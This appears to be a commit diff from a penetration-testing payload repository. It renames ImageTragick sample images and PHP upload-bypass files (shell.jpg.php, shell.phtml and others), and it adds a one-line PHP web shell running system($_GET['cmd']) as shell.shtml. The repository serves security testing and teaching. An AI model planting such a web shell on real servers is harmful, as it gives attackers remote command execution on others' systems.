Files JPEG -> JPG + Tag v2

redskysec · Nov 17, 2018 · 3522d9a · 3522d9a
1 parent af9abc6
commit 3522d9a
Show file tree

Hide file tree

Showing 15 changed files with 3 additions and 1 deletion.
diff --git a/Insecure deserialization/Ruby.md b/Insecure deserialization/Ruby.md
@@ -8,4 +8,5 @@ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1
 
 ## Thanks
 
-- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
+- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
+- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
diff --git a/...ecure files/Image Tragik 2/centos_id.jpeg → ...secure files/Image Tragik 2/centos_id.jpg b/...ecure files/Image Tragik 2/centos_id.jpeg → ...secure files/Image Tragik 2/centos_id.jpg
diff --git a/...ecure files/Image Tragik 2/ubuntu_id.jpeg → ...secure files/Image Tragik 2/ubuntu_id.jpg b/...ecure files/Image Tragik 2/ubuntu_id.jpeg → ...secure files/Image Tragik 2/ubuntu_id.jpg
diff --git a/...re files/Image Tragik 2/ubuntu_shell.jpeg → ...ure files/Image Tragik 2/ubuntu_shell.jpg b/...re files/Image Tragik 2/ubuntu_shell.jpeg → ...ure files/Image Tragik 2/ubuntu_shell.jpg
diff --git a/...secure files/PHP Extension/Shell.jpeg.php → ...secure files/PHP Extension/shell.jpeg.php b/...secure files/PHP Extension/Shell.jpeg.php → ...secure files/PHP Extension/shell.jpeg.php
diff --git a/...d insecure files/PHP Extension/Shell.php3 → ...nsecure files/PHP Extension/shell.jpg.php b/...d insecure files/PHP Extension/Shell.php3 → ...nsecure files/PHP Extension/shell.jpg.php
diff --git a/...d insecure files/PHP Extension/Shell.php4 → ...d insecure files/PHP Extension/shell.php3 b/...d insecure files/PHP Extension/Shell.php4 → ...d insecure files/PHP Extension/shell.php3
diff --git a/...d insecure files/PHP Extension/Shell.php5 → ...d insecure files/PHP Extension/shell.php4 b/...d insecure files/PHP Extension/Shell.php5 → ...d insecure files/PHP Extension/shell.php4
diff --git a/...d insecure files/PHP Extension/Shell.php7 → ...d insecure files/PHP Extension/shell.php5 b/...d insecure files/PHP Extension/Shell.php7 → ...d insecure files/PHP Extension/shell.php5
diff --git a/...d insecure files/PHP Extension/Shell.phpt → ...d insecure files/PHP Extension/shell.php7 b/...d insecure files/PHP Extension/Shell.phpt → ...d insecure files/PHP Extension/shell.php7
diff --git a/...ad insecure files/PHP Extension/Shell.pht → ...d insecure files/PHP Extension/shell.phpt b/...ad insecure files/PHP Extension/Shell.pht → ...d insecure files/PHP Extension/shell.phpt
diff --git a/... insecure files/PHP Extension/Shell.phtml → ...ad insecure files/PHP Extension/shell.pht b/... insecure files/PHP Extension/Shell.phtml → ...ad insecure files/PHP Extension/shell.pht
diff --git a/...nsecure files/PHP Extension/Shell.png.php → ... insecure files/PHP Extension/shell.phtml b/...nsecure files/PHP Extension/Shell.png.php → ... insecure files/PHP Extension/shell.phtml
diff --git a/... insecure files/PHP Extension/Shell.shtml → ...nsecure files/PHP Extension/shell.png.php b/... insecure files/PHP Extension/Shell.shtml → ...nsecure files/PHP Extension/shell.png.php
diff --git a/Upload insecure files/PHP Extension/shell.shtml b/Upload insecure files/PHP Extension/shell.shtml
@@ -0,0 +1 @@
+<?php echo "Shell";system($_GET['cmd']); ?>